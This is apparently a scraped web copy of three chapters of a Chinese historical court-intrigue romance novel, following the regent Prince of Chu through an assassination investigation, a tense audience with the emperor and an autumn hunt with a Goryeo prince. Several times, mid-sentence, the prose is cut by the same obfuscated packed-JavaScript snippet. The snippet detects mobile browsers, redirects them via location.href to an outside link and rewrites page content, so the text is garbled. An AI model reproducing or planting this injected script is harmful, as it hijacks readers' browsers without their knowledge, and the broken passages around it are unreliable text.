众人正要道好,也不知哪个愣头青自以为搭了个梯子:“不作诗,弹一首曲子也行。听说楚王殿下工于琴艺,先帝千秋时一曲《广陵》名动两京……” 说着说着,在楚王寒潭般的视线里渐渐消声。 气氛一时仿佛结了冰,王白秋暗暗叫苦,敢叫楚王弹琴娱众的人不是没出生,就是埋进土里了。好在,他的表哥成谨还是靠谱的,敢在这时笑着说道:“殿下的诗和琴,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不要出声!”封歧推开徐青,自座椅下抽出宝剑,翻滚出车厢。 车停在回府必经的一条巷子里,没有牵连无辜百姓,车夫和几个侍卫正拦住十几个蒙面刺客缠斗。封歧知他们拦不了多久,放出一只传信焰火,转身就跑。 他一身锦衣,一眼就可认出身份,刺客们十分有默契地分出几人追去。 好在世界上没有武侠小说写的内力轻功,双方都没有马,封歧尽全力跑的情况下,刺客竟一时半会追不上。忽然,脑后传来破空之声,封歧连忙矮身,躲过自高处射来的暗箭。 这支箭提醒了他,不知道还有多少弓手埋伏在屋顶上,若是跑出巷子,到了宽阔的大街,那就真成活靶子了,且会伤到无辜路人。封歧握住剑,转身凝重地看向奔来的刺客。 他知自己绝不是这么多人的对手,却也不会束手就擒。 他钻进身侧排水的窄巷,这巷子遍生湿滑苔藓,两侧是两户人家的高墙,宽度仅可使一人通过,如此一来,他就只需迎面对战一人。但是此非长久计,因为刺客之中已有人离开,欲绕至窄巷另一头,这里他连转身都是问题,若是背后来袭,绝对挡不住。 一滴汗水从额角滑落,封歧接下正面刺来的利器,不敢分心。时间变得格外漫长,也不知过了多久,他听到身后传来武器破空之声,腰间一痛,不由生出绝望。莫非今日当真要命丧于此,让封麟搂着奸夫小人得志? 就在这时,腰间刺入的利器顿住,身后刺客发出一声惨呼,血腥四散。“卑职来迟。”有人颤抖地说道,封歧如闻天籁。 10. 第 10 章 封歧走出院子,墙边立着的男人低头唤道:“殿下。”封歧看他一眼,轻声道:“跟上。” “是!” 十七喜出望外,虽然依旧没有太外放的表情,然而眼眸明亮,令人难以忽视。 封歧忍不住道:“能跟我出去就这么开心。” “是,”十七说,“卑职只想一直在能看到殿下的地方。” 封歧扭头看他,目光微变,似乎想说什么,又忍住了。 坐上马车,封歧握着帘子,要十七上车,有话跟他说。这马车乃封歧屡次遇刺后特意定做,外面看着不起眼,里面却别有洞天,软垫绒毯,茶案小几,无一不精细,无一不奢靡,四角挖空做成香薰镂,一厢清苦的雨后天青。 封歧靠在身后软垫上,眼睫半垂,打量着对面之人。也许是第一次坐这种精致富贵的马车,影卫显得有些拘谨,双手搁在膝上,腰背笔直,肌肉紧绷,好像随时准备暴起对敌;前天他在院子里也是这么跪的。 真像啊,一只蛰伏的、矫健的豹子。 “你又救我一次,想要什么?”封歧问。 十七好像已想过无数次,毫不迟疑地道:“卑职只恳请殿下一直准我随行护卫。不管发生什么事。” 这样强悍的男人露出恭顺的姿态,总让人忍不住想要得寸进尺,封歧就是如此,故意说道:“你一个人能打几个?就算多带你一个,又顶什么用,前几回遇刺得救,还是因为兵马司赶来得及时。” 十七说道:“至少像昨夜那种情况,殿下不用担心背后来敌。” 封歧品着这句话,眉梢轻挑,似笑非笑:“你是说,本王可以永远把背后交给你吗。” 永远。呵。封歧笑容染上讽刺,垂眸恰好看到十七的手指仿佛被火燎了一下,轻微地动了动。 “殿下肯吗?” 这是他第二次问,殿下肯吗。然而不同的是,上次他是逼至末路的困兽,这一问充斥着绝望、挑衅和自毁。这一次则是解嘲的,忐忑的,还有一丁点儿不易察觉的期待。 以封歧从人精堆里打磨出来的眼光来看,眼前的男人就像一张白纸,一览无余,如此简单。 封歧不答反问:“假若向本王持刀之人是你的皇帝主子,你怎么办?” 十七不假思索:“卑职会挡在刀前。” 封歧:“可你死了就没用了,你死了,刀还在。除非你替我杀掉持刀之人,否则本王终将会被刀所伤。” 十七哑然,呼吸变得急促。他总是这样,轻易被楚王殿下言语诱导,陷入情感和道德的困境,饱受煎熬。 封歧低声道:“本王并非当真要杀他,只是个假设。你知道本王问这个问题,是在在意什么。你也知道,本王想要的是什么。” “是……我知道……”十七喃喃,甚至忘了谦称。 封歧有些失望,拧起眉头:“你总逾越问本王肯不肯,你这样,要本王怎么放心。” 十七哑口无言,嘴唇蠕动,却说不出一个字。他是口拙之人,封歧确信,可他也是如此坦诚,从不隐瞒欺骗,这样的美德堪称君子。 马车不知行过什么,小小地颠簸了一下,封歧却骤然白了脸色,捂住后腰的伤口,自牙缝倒吸一口凉气。“殿下!”十七立马比他还要紧张。 封歧摆摆手,好笑地望着他:“本王实在想知道,你为何会,”忖了一下措词,“会对我……有意?” 十七沉默不言。封歧问:“天生就喜欢男人?” 十七点点头,又摇摇头,说道:“卑职不知道。” “不知道是什么意思?” “没有喜欢过别人,卑职只对殿下动过心。” “……你,”封歧耳热,有点无奈了,“汉民自古多含蓄,你怎么一点不懂。” 说完这句,封歧闭上了眼,车内一时陷入了安静。过了会,封歧说道:“你懂什么喜欢,还是多去试试,男人和男人算怎么回事。” 马车来到锦衣卫衙门外,封歧递出牙牌,很快,大门洞开,将马车迎了进去。 褚德做了锦衣卫指挥佥事,今日就在衙门中办事,听到楚王前来,忙赶了过来,亲自将楚王引进接客的小厅。 “听说殿下受了伤,为何不卧床休息?” 封歧在主位坐下,挺直腰,以免伤口碰到椅背。褚德这个五大三粗的爷们,毫无眼力见,也不说拿个软垫来,另一个人吧……封歧横了眼十七,就更别指望了。 坐得不舒服,楚王殿下自然没什么好脸色:“本王做什么还要跟你解释不成。” 褚德挨了劈头盖脸一顿冲,只能受着:“……不敢。” 封歧:“昨夜的案子交给你们锦衣卫,有什么进展了?” 褚德脸色有点臭:“那群人撤得太果断,把尸首也拖走了,线索少得很。不过留了几支箭,属下看过,不像军中的制式,倒是有点像,像……” “有话直说,吞吐什么。” 褚德抱拳:“殿下恕罪,尚未查明,属下不敢妄言,只是觉得有点儿像……前朝的样式。” 封歧沉吟。 褚德又道:“会不会又是那位故布疑阵,混淆视听?” 封歧缓缓地道:“昨夜中城兵马司的人一露面,刺客就立即退走了,不像死士。且刻意带走尸体,给我的感觉反倒像是……尸体上有什么可能暴露他们的身份。” 褚德受上回刺客的启发,脱口而出:“刺青。” 说完,二人对视,封歧若有所思:“难道真是兴乾会?” 这个兴乾会,上次遇刺后封歧了解过一些。“乾”乃黄天,“兴乾”取自顺天之意,表面上是个民间神道组织,私下里这个组织的核心成员行事很是神秘,绝不简单,只是从未露出马脚,没有证据,朝廷不好大张旗鼓地抓人。楚王殿下自己琢磨着,“乾”亦可作“前”音,兴前兴前,复兴前朝。若真是如此,就是反贼了。 想到这里,封歧说道:“本王记得锦衣卫查过这个组织,回头你翻翻录书。” 褚德犹豫了一下,应道:“是。” 封歧挑眉:“怎么?有困难么?” 褚德支支吾吾。封歧道:“方才就见你拉着脸,这锦衣卫指挥佥事可是不称意?” 算上来时车程,坐这么久,封歧腰间伤口愈发疼痛,索性用另一边的胳膊支住圈椅扶手,减轻伤口处的压力,胳膊连着的手支着下颌,单看姿势,说不出的风流写意。 “本朝文官都是硬骨头,手握票拟和封驳之权,总和皇帝对着干。皇帝能完全信任的,只有勋贵,”封歧淡淡解释,“锦衣卫为上十二卫之一,是皇帝的直系班子,所以里面几乎全是勋贵之后。你寒门武将出生,天生比他们低了两等,突然压他们一头,有人不服气很正常。你是本王的属下,不是婴孩,本王把你送到这个位置上,其余但看你本事。” 褚德神色一凛:“是!” 封歧:“你头顶上还有指挥使、指挥同知两个职务空悬,从前江敕是皇帝的人,现在换成你,恐怕没多久陛下就要任命指挥使夺权,只望你在那之前掌控这里。过两天本王会以军中占役虚冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521595|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者众多为由,请旨裁汰整编,你可借势而为。” 从锦衣卫所离开时,封歧未发话,十七擅自入马车,封歧只隐忍地看他一眼。回程途中,封歧连软垫也不用了,坐得笔挺,双目微阖,眉心微拢,耳根脖子处隐约可见细密的汗珠。 他这伤在后腰,虽只是皮肉伤,这一天下来也吃不消了。 马车骨碌碌地动起来,十七低声道:“殿下如果实在难受,不如趴着。” 封歧从齿缝里挤出一个字:“不。” “殿下……” 封歧:“再聒噪就下去。” 说完这句,他的脸色肉眼可见又白了许多,十七不敢再言语。不知过去多久,约莫又经过来时的坑,马车一个颠簸,封歧猝不及防地自喉咙里发出一声痛呼,往前一扑,又朝后砸向车厢。 然而,预料之中的疼痛未曾袭来,他撞上一副温软结实的肉垫。十七自后面接住了他,炙热的手大不敬地握在肩膀,却令人无比安心。 封歧沉默了下,终究没有和自己过不去,虚弱地说了句别动,卸下大半力气,全部倚靠在身后的胸膛上。 接下来两天,褚德一边着手于锦衣卫内部争斗,一边调查兴乾会。听说刑部那里有个案子和兴乾会有关,褚德抽空跑了趟刑部,打着楚王的旗号调取卷宗。 兴乾会的这个案子颇为邪门,这个组织供奉一个叫做启明神君的神仙,传言只要信仰神君,即可有求必应。京郊村里一个老光棍受人哄骗,把全部家当都交了供奉,只求神君赐妻,当天夜里,果然有一貌美女子敲门,与之媾和,然而第二日那仙女却回归仙庭了。没想到全副身家只换了一夜露水情缘,老光棍身无分文,人财两空,上吊身亡。 因是自杀,刑部并未太过重视这个案子,且有成谨帮衬,褚德调取卷宗十分顺利,当天就捧着案卷回去参详。 又过一日,封歧果然以京营总督的身份写了封题本,言明占役冒领军饷者甚多,请旨重新整编三大营。题本按流程送往通政司,于当天下午出现在内阁,次日,夹着内阁给的票拟,于晨议时分呈上皇帝案头。 本朝除大小朝会之外,另有晨议制。每日,内阁和司礼监各取固定班子陪着皇帝批阅奏章,是顾问,也是监察。封歧执政时,启用票拟批红制,遇事多方商议,也是表明自己一片公心,并无夺权之意。封麟亲政后,起初急于求成,所有奏章亲力亲为,每日旦起夜宿,很快就长了两个黑眼圈,后来身体吃不消,才重新恢复内阁的票拟权。 这天,封麟捏着封歧的这篇题本,看着票拟建议,冷冷地道:“诸位觉得,朕要准楚王奏。可是谁能保证他没有祸心,借整顿之名安插亲信,彻底渗透朕的京营!元辅,你能保证吗?” 御案下头,东西两面,各陈两条长案,内阁的人坐在西边案后。闻言,首辅成阮起身面不改色地道:“楚王殿下摄政五年整,陛下一有掌权之意即刻奉还,毫不拖沓,且还政这半年来,几乎从不与朝臣往来。臣以为,楚王大公无私,当可信任。” 另一阁臣百里粟起身道:“其实孝宗皇帝在时军中吃空饷之弊就已显端倪,中宗、德宗两位陛下亦尝整顿军纪,颇有成效,然最后一次整顿距今已三十多载,楚王奏章所陈京营之积弊,切中肯綮,循名责实。臣以为,可信。” 楚王做事,姑且不论公心私心,总是占着礼法或者大义,封麟实在叹服,他这假叔叔的手腕,再给他五年也学不会。 封麟阴沉地看着堂下诸人,许久,方徐徐道:“要朕准奏也可,朕要楚王亲自进宫请奏。” 11. 第 11 章 封歧在勤政殿东侧的书房见到了他的皇帝侄儿。 时值未时三刻有余,暖光斜透窗棂,落于砖墁之上。封麟一袭明黄锦袍,头戴玉冠,喜怒不辨,威仪端坐于御案之后,恰在日光照不到的阴影里。褪去讨好撒娇的面目,封歧才发现,眼前之人竟是如此陌生。 “微臣拜见皇帝陛下。” 封歧于书案前五步处行跪拜大礼。 “平身,赐座。”封麟未有为难,只淡声吩咐。 于公公搬来圈椅,封歧谢恩落座。封麟眼帘半垂,目光落于他身上,问道:“闻说楚王日前又逢凶化吉,不知玉体可有大碍?” 封歧拱手道:“有劳陛下垂问,微臣惶恐。些须皮肉之伤,业已痊愈。” 封麟道:“锦衣卫这几日一直在督办此案罢,凶手可曾查出?” 封歧道:“线索尚微,未有头绪。” 封麟点点头:“楚王乃社稷擎天之柱,贼人胆大包天,竟敢屡下毒手。待水落石出,凶犯归案之日,朕定不轻饶。” 封歧又是一番惶恐谢恩。封麟抬眼扫过殿中诸人:“都退下,朕有几句家常话要同皇叔说。” 宫女、内侍并翰林顾问鱼贯而退,殿门阖拢,再无旁人。一时无人开口,满室寂然。封麟看了座下之人良久,起身踱至窗边,背对室内,道:“我从未想过,我们会走到今日这步。” 封歧垂眸不语。封麟之话真真假假,他早已看不透了。 封麟道:“这回的刺客……”说到一半止住,声音艰涩,仿佛不知要如何继续。 封歧道:“臣知道。” 又是一阵沉默。封麟抬手按住窗沿,日色下肤色白得近乎透明,眼神有一丝迷惘。“皇叔……”他喃喃欲言,然而下一瞬便恢复了清明,那些话尽数咽回腹中。他转过身来,望向封歧:“皇叔那日所说的话,可还作数?” 封歧问:“陛下所指为何?” “那天在楚王府,你考校我《韩非子》后说的话。” 封歧了然。他说的是那日自己许诺,只要他安分守己,便不会伤他。“只要陛下好好做着分内之事,臣便永远是臣。” 封麟笑了笑:“何为分内之事?”眼见封歧又缄默不语,只用那双幽深的黑眸望来,他敛了笑意,点了点头,“好,朕知道了。皇叔是一言九鼎的君子,还望永不食言。” 封歧起身行礼:“若是陛下无他事指教,请许微臣告退。” 封麟面无表情,封歧自顾自走至门边,听他在身后压抑地道:“你真是我见过的最决绝的人,十几年的情分说断就断。我甚至有时候会想,你到底爱没爱过我。” 封歧心里升起荒唐和可笑,封麟他好像真心觉得自己被抛弃了,可分明是他先举起了刀。 这话该是我奉还给你,封歧想。然而这个念头只在脑海里一闪而过,他脚步未停,径直走了出去。 立后一事,礼部与钦天监择出数个吉日呈至楚王府。楚王以长辈身份圈定,乃次年三月初八。 又过数日,中秋佳节,各衙门休沐半日。宫中赐宴,君臣尽欢,至戌时方散。 中秋之后,金桂飘香,一天冷过一天。封歧之前虽伤得不深,但也一直养到今日才彻底痊愈。这日他着了轻裘往南营巡阅,傍晚方回,行至王府角门外,远远便见巷口堵得水泄不通,巷子里杵着三个骑着高头大马的衙役,后头又跟着数名鸣炮奏乐之人,个个喜气盈腮。徐青与韦良辅正立于门前,拱手与他们寒暄。 封歧自正门入内,绕至角门后。不多久,徐韦二人含笑进来,向他行礼问安。 封歧笑道:“外头是报喜的报子?” 韦良辅:“什么都瞒不住殿下,幼安这回乡试中了解元,实乃百里之才,不可多得,殿下可要好好珍惜。” 徐青不卑不亢地道:“天下才子甚多,学生不过这回运气好了点。” 封歧原只当他中举,不意竟是头名,颇为惊喜,说道:“顺天府英才荟萃,试子如云,能夺解元,谈何容易。恰好府中新到了一批肥膏公蟹,今晚便设个蟹宴,不邀外客,就请府中几位先生聚上一聚,赏菊佐酒,顺道为幼安庆贺一番。” 当晚,楚王府后园设下水榭宴席,长史司众文官书吏俱来作陪。池畔水榭,菊黄蟹肥,诸文士列坐其次,谈古论今,清言雅趣,尽显风流。身在自家府邸,楚王略略放开了些,不拘主仆尊卑,谈笑酣畅。夜深宴散之时,众人皆已酩酊。饶是如此,楚王也未失风度,亲自将徐青送回住处,而后独自返程。 月华如水,清辉铺地。他脚步虚浮,忽地一绊,踉跄数步,身侧骤然落下一道黑影,一把将他搀住。 “是你。今夜一直都在么?”封歧微带醺意地笑看来人,轻拍他手臂,示意无事,可以松手。 十七“嗯”了一声。封歧继续朝前方走,说道:“怎么偷偷躲着,不出来一同喝酒?” 十七不知该怎么回。殿下当真醉了,说出这样不着边际的话。 无人相邀,谈何露面。且他不会写诗作赋,对他们的高谈阔论一窍不通,若是勉强坐下,也是异类,令人扫兴。 水榭边有座假山,他一直在上面,抱剑半坐,独自一人,警惕着风吹草动,偶尔看一看脚下灯火通明处。 今夜的主角不是楚王殿下,他看出来了,是那位年轻的儒生……那个人,殿下待他有点不同。 徐青面皮薄,几杯薄酒下肚,面颊便染上了艳丽的胭脂色,恰如琼雪染朱,谪尘脱俗,惹得楚王频频侧目。说至兴浓处,又有人举杯来敬,楚王忽然出声,抬起手腕,笑言两句,泰然自若地将酒挡去。后来敬到徐青跟前的酒,大半入了楚王殿下的肚子。 十七望着,说不出心里是何滋味。从无妄想,也便谈不上失落。只是有某一刻,他觉得自己就是脚下的石头,日日夜夜守着灯火,看他人热闹。 石也无言,灯也自明,各有各的去处,各有各的归途。 “本王跟你说话,为何不睬,嗯?”封歧又问。 他是当真醉了,否则断不会用这般轻浮含笑的语调,尤其最末那拖长的一声,听得人心头发酥。 十七跟在后头,足因浊浊,神思有些不属,“殿下今日心情很好。” “嗯,有一点,”封歧思考了一下,轻笑一声,“心里一直难受,今日才好一些。” 主院中,绪总管笼着袖子,早已等候多时。他是个人精,哪里看不透自家王爷那点心思,这才由着楚王独自送徐青回屋。此刻见楚王独自归来,便知不曾有下文,忙上前将人搀进屋去,又吩咐侍女去端醒酒汤并热水等物。侍女们往来匆匆,井然有序,十七如潮水中的一块礁石,默立片刻,转身没入夜色之中。 王府里没有第二个影卫和他换班,封歧曾在得知他昼夜守卫,只在白日抽空小憩后,命令他夜里必须睡足两个时辰。然而今夜,他也说不清为何,就是不愿回房。他爬上院中那株高树,抱膝而坐,为楚王守夜。 这般小小地违抗一回命令,竟让心底泛起绵密细微的疼痛,说不出的酣畅。 秋叶簌簌,短短数日,枝头一片凋零。 九月下旬,高丽国王薨逝,储君遣使渡海而来,请求大夏天子册封新王。京中成年亲王皆已就藩,接待来使的差事便落在了楚王一人肩上。宴席礼仪等细碎琐务自有鸿胪寺与礼部奔走,然楚王仅审阅各色礼单文册,也忙得足不点地。王府不便送往迎来诸位官员,他便暂且在礼部借了一间官署,每日昼出夜归,如陀螺般连轴飞转。 九月廿七,高丽使团抵京,封歧率领礼部和鸿胪寺的官员于城北广辉门相迎,一路殷殷垂询,谈笑风生,令外使如沐春风。末了于馆舍外依依作别,定下次日接风夜宴。 十月朔日,为款待使团,依着既定的章程,天子亲自主持,于顺天府丰年县放鹿山举秋狝之典。 皇家秋狝,古来有之,前朝马上得天下,对此尤为热衷。及至本朝,崇文抑武,起初也办过几回,奈何几任天子兴致缺缺,便渐渐废弛了,放鹿山作为皇家猎场也已荒废了五十载。 半月前,封歧调拨京营兵士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521596|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先行进驻,圈定猎场,驱赶犯禁的民夫猎户,清除陷阱,剿杀猛兽,又往山林间放生了成百上千只鼠兔狐鹿之类的小兽,务使此次秋狝人人尽兴而归。 放鹿山距京城约四十余里,圣驾仪仗行了一整日方到。当夜驻跸山麓行宫,次日清晨往山间猎场开拔,于外围扎下大营。 是日,北风猎猎,旌旗翻飞。封麟锦上添花,当众抛下彩头,道今日狩猎夺魁者可向天子许一个心愿,引得人人神往。待神机营军士鸣炮发令,无数男儿女儿策马驰入山林。 封歧也有些技痒,朝身边的使者道:“王子不一展拳脚吗?” 这使者乃高丽先王的第六子,当今储君的胞弟,年十四岁,模样和夏人几乎一样,是个唇红齿白的少年郎。听楚王相询,六王子李聪以一口流利汉话答道:“正有此意。殿下这身装束,莫非也要下场?” “王子好眼力。” 封歧招了招手,庞绥牵来两匹膘肥体壮的骏马。封歧做了个“请”的手势,李聪眼睛一亮,挑了一匹乌云踏雪,翻身上马,将缰绳在手里绕了两圈,居高临下地一笑,神采飞扬,“殿下,光是打猎没意思,不如你我再比一把。” 封歧仪态优雅地骑上另一匹玉骢,含笑问:“王子要比什么?” 李聪眼珠狡黠一转:“便仿效皇帝陛下,谁赢了答应对方一件事。” 封歧忖他一个少年郎,想来也不至提出什么为难人的事,颔首应道:“那本王可不会相让。” “话可莫要说在前头。”李聪朗笑一声,双腿一夹马腹,冷不防便冲入林中,倒把身后一众护卫急得大呼小叫,手忙脚乱打马追赶。 封歧却不紧不慢,勒着缰绳缓行两步,回首向身后人道:“你们也去挑两匹好马。”因他事先有过吩咐,十七今日未作影卫装束,只着一身王府侍卫服色随侍在侧。闻言,便与庞绥一道骑马佩弓,另带了三名侍卫,一同随扈入林。 此时已是秋末冬初,万木萧疏,猎物鲜艳的皮毛一览无余,正是围猎的大好时节。入林不多久,封歧便看到山溪边有只獐子低头喝水,忙举起右掌示意停驻,拈弓搭箭,只听嗖的一声,箭离弦疾驰,射上獐子屁股。那獐子吃痛嘶鸣,撒开四蹄狂奔。封歧心中正暗叫可惜,却听耳侧风声骤起,一支羽箭自身后疾射而出,正中獐子颈项,一箭毙命。 封歧扭头,十七放下弓,低头拱手:“卑职逾越了。” 封歧笑道:“你自己的猎物,自己去收好。” 十七一怔,想说自己本意并非如此,却终究没有出口,只应命策马上前。庞绥出主意:“不如拔了他的箭,插上殿下的箭……” 封歧:“本王还不至如此。” 并非藏拙,他这箭术,大抵就是如此了。 他一个亲王,年少时与宗室子弟一同入宗学,受大儒名将指点,读圣贤礼法,习君子六艺。诗书骑射,说来样样都会,却也无一精通,骑射平平,诗书泛泛。不过本朝亲王大多如此,愈是庸碌无用,反倒愈活得长久。到他这里偏生出了个例外,他是本朝头一位摄政亲王,翻云覆雨,将祖宗规矩坏了个干净。也正因如此,他才从平庸中窥见了自己的过人之处——人心权术,无师自通。 封歧又道:“今日行猎,不在胜负,图个痛快便好。你们若有看中的猎物,只管猎去,晚间加菜。” 众护卫欣然领命。 这一日封歧也算尽兴而归。待到日薄西山,率人返回营地时,高丽六王子李聪也恰好折返。两边清点猎物,大夏楚王猎了两只野兔、一只栗鼠、并一只皮毛鲜亮的红狐;李聪则哈哈大笑,他猎了一头成年公鹿,胜负不言自明。 封歧悠然下马,命人将猎物收拾干净,晚间加菜,又从容对李聪道:“王子果然英雄少年,本王技不如人,甘拜下风。” 他这般大方认输,李聪倒也不觉扫兴,反而兴致愈浓,高声道:“那殿下可欠我一件事了。” 封歧道:“不知王子要本王做什么?” 李聪双眸一亮,抬手指向十七:“我要他。” 12. 第 12 章 封歧心里莫名生出些不快,脸上神色不变,问道:“王子为何看上这侍卫了?” 李聪道:“昨夜他救了我,我想要他,报答他。一个侍卫而已,殿下不会舍不得吧。” 原来今日这六王子弄出这么大阵仗,定下赌约,是为了这个。 封歧淡淡瞥了眼十七,影卫神情意外,还有些张惶,跪地道:“卑职万死。”封歧凑到李聪耳边,低声道:“就这个不行。王子不知,这个侍卫是本王暖床的心头好,本王还真舍不得。” 李聪面皮一下子涨得通红:“他,他……我不信!” 不远处的封麟察觉动静,看了过来。 封歧若有所思,微微一笑:“王子初来乍到,对本王了解甚少。”说完,当众执起十七的手,目光深邃,深情款款。本想再亲一口,可终究心一软放弃了,他行事虽不择手段,但若非不得已,也无当众羞辱人的爱好。 等到天黑,所有人全部回返,清点猎物,皇帝点状元一般点了头名,是个公爵之子,问其所愿,答曰只愿父母安康,众人直夸纯孝,陛下欣悦,赐下内帑之中的百年老参,使其父母滋养身体。 此后,营地之中生火举宴,三大营卫士连番表演,看得高丽使者目不暇接,拍案叫绝。而封歧嫌弃营地简陋,早在宴会伊始就找了借口脱身,带着王府班子去了行宫歇息。 这一日,一半端着亲王身份,应人奉承,和使节交谈,一半全神贯注,纵马行猎。在营地时还不觉得什么,等抵达行宫,疲惫如潮水涌上来。封歧顾不得沐浴洗尘,先坐在临窗的榻上歇息。绪公公问是否喊个宫女来按乔解乏,被封歧随手打发,只留了十七一个人。 十七跪在榻前,封歧靠在榻上小案上,一手撑着额头,轻声道:“说吧,到底怎么回事。” 十七道:“昨天晚上戌时,卑职在耳房为殿下守夜。当时夜深人静,卑职耳力好,听到院子外的小寒潭传来水声,还有人在说话,担心是贼人作祟,就外出一探究竟。” 楚王殿下住的院落依山傍水,风景最为雅致,却也最易藏人。昨晚恰是个阴天,当是时月黑风高,视线受阻,十七借用随身携带的爪钩,敏捷地翻上小寒潭后面的山石上,侧耳倾听,潭边有两人在说话。 听了一阵,十七意识到,这两人一个是高丽使团里的护卫,一个是大夏的侍卫。是老乡,出身于北边女真国的故地,女真被大夏兼并后,后人说的都是汉语。他们的故乡,就在一个毗邻北直隶和高丽国的小部落里,小时候闹雪灾,各自出走求生,一个往南投身夏国,一个渡海到高丽。没有想到此生还有再次见面的机会。 正所谓人生四喜之一:他乡遇故知。此番见面,二人都十分激动,没有什么阴谋诡计,只是夜里偷空说会话。 一个说:“要我说你还不如留下来,老哥我如今也混了个小头目,回头招你进营,岂不比那弹丸小国爽快。” 另一个道:“我也想啊,可惜我从前受过我们大王子的救命之恩,发誓要报答他,此生无缘繁华京师了。” 先前那人应和:“救命之恩啊,那难办了。” “可不。” “救你的是大王子,那你怎么跟着六王子?” “大王子就是储君,是六王子的同胞兄长,两人关系亲厚,临行前大王子特地派出我们贴身保护他。说起来,出使他国并非美差,六王子本不用受这个罪,是他自己闹着要来的。” “确实啊,到他国可不得看别人脸色,哪有在自己地盘来得自在,且一路渡海翻山的,一不小心命都要没了。” “嗨,这原因也有些难以启齿……” 既然难以启齿,自然压低了声音,十七不得不凑得更近些,才听清,“……六王子也是个天生龙阳君,听闻咱们楚王殿下的美谈,非要来见一见。” 说到这,脚下寒潭突然传来“扑通”的落水声,三人都是一愣,循声看去,只见一只脑袋在水面上载浮载沉。 “坏了,那人怎么如此眼熟!”高丽的护卫急得团团转,可他一个北地出生的旱鸭子,就算跳下去也于事无补。 旁边另一个旱鸭子忙道:“快去找个绳子来!” 话音未落,又一声“扑通”,十七利落地入水,把人捞上岸。 已是秋末冬初,本就寒凉,山间温度更低一等。这处山潭水来自地下,再冷上两分。掉进这里面,和跳进冰窟窿洗澡也没甚区别了。少年王子被十七捞上岸时,扒着他的胳膊直打摆子,已然神志不清,十七不忍,让那个高丽护卫脱下干爽外袍,把人裹住,奔送回去。 十七只做了这一件事,当院子里的奴婢太监一股脑涌出来,接走他们的王子殿下,他就走了,连房门都没进。只是那个王子临别泪眼汪汪地拽着他的衣襟,似乎想说什么,被一个寒噤打断。 “……然后卑职就回来了。”十七阐述完毕,垂头。 封歧揉着太阳穴:“你觉得你做错了什么?” 十七沉默,片刻后道:“卑职……就算再来一次,卑职还是会这样做。” 封歧道:“你既然不觉得自己有错,为何要跪在这里?” 十七一愣,楚王殿下语气平静……他实在愚钝,难以明白主子真意。 直到封歧叹了口气:“如若无错,谈何认罪。一回来你就视死如归地跪在这里,本王还当你和那王子勾搭上了。你不仅无错,而且有功,万一高丽王子出了事,那本王可难交代……”说着,垂下眼,并不看他,有点苦恼地道:“本王也不知为何,待你总有些拿捏不准尺度……今日让你人前难堪,是我之错。” 十七心潮起伏,怔怔地抬头,说不出话。 封歧道:“有功即赏,可你整日无欲无求的,本王也不知赏你什么好。你看看呢?” 许久,十七道:“殿下不要自责,卑职今日并没有难堪……”他喉结滚动一下,“殿下怎么待卑职都好。只是卑职怕旁人物议,殿下与我这等蓬门出身的武夫牵扯在一起。” 封歧眼睫一颤,抬起来,定定地看着他:“你撒谎。” 十七欲言,封歧抬手止住,说道:“本王自认庸碌,唯一双眼睛还算锐利。今日我当众牵你的手时,你分明有些……”到这里顿住,封歧一时找不到词语形容。当时的十七,脸色发白,神情瑟缩,眼神茫然又空洞。 就好像,他非常畏惧暴露在众人的视线里,受人瞩目。 还没想个明白,十七已经出声:“卑职自小选入影卫营,素来惧怕暴露于人前,今日……有些不妥当之处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翌日封歧梳头时,绪公公抑扬顿挫地说了,封歧也就当个晨起笑话听了。难怪高丽使团那边三缄其口,而他大人有大度,还不至于追究一件未曾发生的小事。 此次秋狝,主要是为了接待外宾,顺带让苦朝政久矣的臣子们娱乐娱乐,光是围猎未免太过单调,是以这天在营地安排了蹴鞠赛。 高丽六王子李聪兴致勃勃地带着随从亲自下场,和大夏少年郎一较高下。他们满场跑动,朝气扑面而来。但凡中球,毋论哪方的,围观之人都拊掌叫好,一天下来,玩者尽兴,看客热闹。 等到太阳西斜,众人重新回到行宫,举办晚宴。宴会上请了京中名伶唱戏,还有江湖杂耍助兴。李聪本就是个对什么都好奇的年纪,看得目不转睛,直呼过瘾。 如此也算宾主尽欢。 